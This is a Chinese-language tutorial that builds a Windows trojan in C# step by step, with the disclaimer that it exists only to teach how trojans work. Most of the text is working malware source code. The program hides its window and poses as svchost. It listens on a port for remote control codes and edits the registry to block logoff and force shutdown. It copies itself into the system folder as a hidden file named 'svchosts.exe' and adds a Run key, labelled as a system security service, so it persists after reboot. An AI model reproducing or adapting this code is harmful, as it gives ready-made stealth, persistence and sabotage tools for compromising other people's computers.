首先说明一下,学这个木马制作流程并不是为了去做坏事,而是要知道它的原理,以后在工作生活中,也可以及时发现自己的电脑有没有被植入木马,从而规避一些不必要的损失。要实现木马服务的程序,需要实现以下几个功能:
一、先建立一个Windows窗体应用程序,为了方便隐藏,项目名称可使用与系统相近的名称(如svchost.exe等)。
1.将窗体属性"ShowInTaskbar"设为false,让它运行时不会在任务栏中显示。
2.将窗体属性"Windowstate"设为Mininized,这样窗体就可以隐藏运行了。
二、控制代码的接收,必须在服务程序运行开始时就启动,所以侦听线程必须在程序初始化中启动,所以放在窗体的构造函数中,代码如下:
public partial class Form1 : Form
{
//侦听端口
private int port = 6678;
//本地IP
private IPAddress LocalIP = IPAddress.Parse("127.0.0.1");
//System.Net.Sockets.TcpListener是用来在Tcp网络中侦听客户端的
private TcpListener listener;
public Form1()
{
InitializeComponent();
//启动侦听
listener = new TcpListener(LocalIP, port);
listener.Start();
//增加接收控制码的线程,如果要停止线程可以用 Thread.abort()
//myControlCode是线程启动执行的函数,此函数根据接收到的控制码,执行不同的指令
Thread thread = new Thread(new ThreadStart(myControlCode));
thread.Start();
}
///
/// 根据接收到的控制码,执行不同的指令
///
private void myControlCode()
{
//设置接收套接字,接收listener.AcceptSocket是返回已经接收的客户的请求
Socket socket = listener.AcceptSocket();
//如果连接成功执行
while (socket.Connected)
{
//接收控制码
byte[] by = new byte[6];
int i = socket.Receive(by, by.Length, 0);
string ss = System.Text.Encoding.ASCII.GetString(by);
//根据控制码执行不同的功能
switch (ss)
{
case "test"://测试连接,返回测试信息
string str = "hello world";
byte[] bytee = System.Text.Encoding.ASCII.GetBytes(str);
socket.Send(bytee, 0, bytee.Length, 0);
break;
case "logoff":
//修改注册表函数,使计算机无法注销
RegUtils.UnLogOff();
//返回控制消息
retMessage(socket);
break;
case "close":
//修改注册表函数,使计算机自动关机
RegUtils.UnClose();
//返回控制消息
retMessage(socket);
break;
default:
break;
}
}
}
private void retMessage(Socket socket)
{
string str = "指令完成";
byte[] bytee = System.Text.Encoding.ASCII.GetBytes(str);
socket.Send(bytee, 0, bytee.Length, 0);
}
}
三、注册表公共类:RegUtils.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Microsoft.Win32;
using System.Diagnostics;
using System.Windows.Forms;
namespace 木马服务程序
{
public static class RegUtils
{
///
/// 修改注册表,使计算机无法注销
///
public static void UnLogOff()
{
//设置键值NoLogOff为1,即可使计算机无法注销。
string position="SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer";
string key = "NoLogOff";
object value = 1;
updateRegedit(position, key, value);
}
///
/// 修改注册表,使计算机关机
///
public static void UnClose()
{
string position = "SOFTWARE//Microsoft//WindowsNT//CurrentVersion//Winlogon";
string key = "Shell";
object value = "Explorer.exe,shutdown -t 5";
updateRegedit(position, key, value);
}
///
/// 修改注册表
///
/// 位置
/// 键
/// 值
private static void updateRegedit(string position, string key, object value)
{
//得到主机的注册表的顶级节点
Microsoft.Win32.RegistryKey regLocal = Registry.LocalMachine;
//设置一个注册表子键的变量
RegistryKey subkey = null;
try
{
//函数RegistryKey.OpenSubkey(string registrykey,bool canwrite)检索指定的子键
//registrykey是用户指定的键值,canwrite 为true则可修改,默认为fasle不可改
subkey = regLocal.OpenSubKey(position, true);
//设置子键的键名和值
subkey.SetValue(key, value);
//关闭打开的子键
subkey.Close();
}
catch { }
//如果不存在则自已建立
if (subkey == null)
{
try
{
//使用RegistryKey.CreateSubKey(string mystring)函数来建立你需要的子键
RegistryKey regkey = regLocal.CreateSubKey(position);
regkey.SetValue(key, value);
regkey.Close();
}
catch { }
}
}
}
}
四、在木马程序中还有一个重要的功能就是自我的复制和转移。木马引入被控制的主机时,必须自动将木马隐藏在System/SysWOW64目录下,以防被发现。实现代码如下:
///
/// 在木马程序中还有一个重要的功能:自我的复制和转移
/// 描述信息:木马引入被控制的主机时必须自动将木马隐藏在System/SysWOW64的目录下以防被发现。
///
private void Copying()
{
try
{
// 正在运行的程序路径和文件名
string _file = Application.ExecutablePath;
// 目标文件路径
string _target = Environment.GetFolderPath(Environment.SpecialFolder.SystemX86) + "//svchosts.exe";
if ((!File.Exists(_target)))
{
//取消文件的只读、隐藏属性
ToolUtils.roHidFileNudo(_file);
//复制
FileStream _fileStream = File.Open(_file, FileMode.Open, FileAccess.Read, FileShare.ReadWrite);
byte[] _buffer = new byte[_fileStream.Length];
_fileStream.Read(_buffer, 0, _buffer.Length);
_fileStream.Close();
//粘贴
FileStream _writer = File.Open(_target, FileMode.OpenOrCreate, FileAccess.ReadWrite, FileShare.None);
_writer.Write(_buffer, 0, _buffer.Length);
_writer.Close();
//设置文件隐藏只读
ToolUtils.roHidFile(_target);
//把监听控制程序设为开机自启动
Boot.SetAutoStart(true, "系统安全服务", _target);
//运行刚复制完成的程序
System.Diagnostics.Process.Start(_target);
this.Close();
}
}
catch (Exception ex)
{
}
}
五、封装的开机启动类:Boot.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Diagnostics;
using Microsoft.Win32;
namespace 木马服务程序
{
///
/// 开机启动类
///
public static class Boot
{
///
/// 将本程序设为开启自启
///
/// 自启开关
///
public static bool SetMeStart(bool onOff)
{
bool isOk = false;
string appName = Process.GetCurrentProcess().MainModule.ModuleName;
string appPath = Process.GetCurrentProcess().MainModule.FileName;
isOk = SetAutoStart(onOff, appName, appPath);
return isOk;
}
///
/// 将应用程序设为或不设为开机启动
///
/// 自启开关
/// 应用程序名
/// 应用程序完全路径
public static bool SetAutoStart(bool onOff, string appName, string appPath)
{
bool isOk = true;
//如果从没有设为开机启动设置到要设为开机启动
if (!IsExistKey(appName) && onOff)
{
isOk = SelfRunning(onOff, appName, @appPath);
}
//如果从设为开机启动设置到不要设为开机启动
else if (IsExistKey(appName) && !onOff)
{
isOk = SelfRunning(onOff, appName, @appPath);
}
return isOk;
}
///
/// 判断注册键值对是否存在,即是否处于开机启动状态
///
/// 键值名
///
private static bool IsExistKey(string keyName)
{
try
{
bool _exist = false;
RegistryKey local = Registry.LocalMachine;
RegistryKey runs = local.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);
if (runs == null)
{
RegistryKey key2 = local.CreateSubKey("SOFTWARE");
RegistryKey key3 = key2.CreateSubKey("Microsoft");
RegistryKey key4 = key3.CreateSubKey("Windows");
RegistryKey key5 = key4.CreateSubKey("CurrentVersion");
RegistryKey key6 = key5.CreateSubKey("Run");
runs = key6;
}
string[] runsName = runs.GetValueNames();
foreach (string strName in runsName)
{
if (strName.ToUpper() == keyName.ToUpper())
{
_exist = true;
return _exist;
}
}
return _exist;
}
catch
{
return false;
}
}
///
/// 写入或删除注册表键值对,即设为开机启动或开机不启动
///
/// 是否开机启动
/// 应用程序名
/// 应用程序路径带程序名
///
private static bool SelfRunning(bool isStart, string exeName, string path)
{
try
{
RegistryKey local = Registry.LocalMachine;
RegistryKey key = local.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);
if (key == null)
{
local.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Run");
}
//若开机自启动则添加键值对
if (isStart)
{
key.SetValue(exeName, path);
key.Close();
}
else//否则删除键值对
{
string[] keyNames = key.GetValueNames();
foreach (string keyName in keyNames)
{
if (keyName.ToUpper() == exeName.ToUpper())
{
key.DeleteValue(exeName);
key.Close();
}
}
}
}
catch (Exception ex)
{
string ss = ex.Message;
return false;
//throw;
}
return true;
}
}
}
六、最好再创建一个windows服务,用来监控木马程序,防止程序意外退出。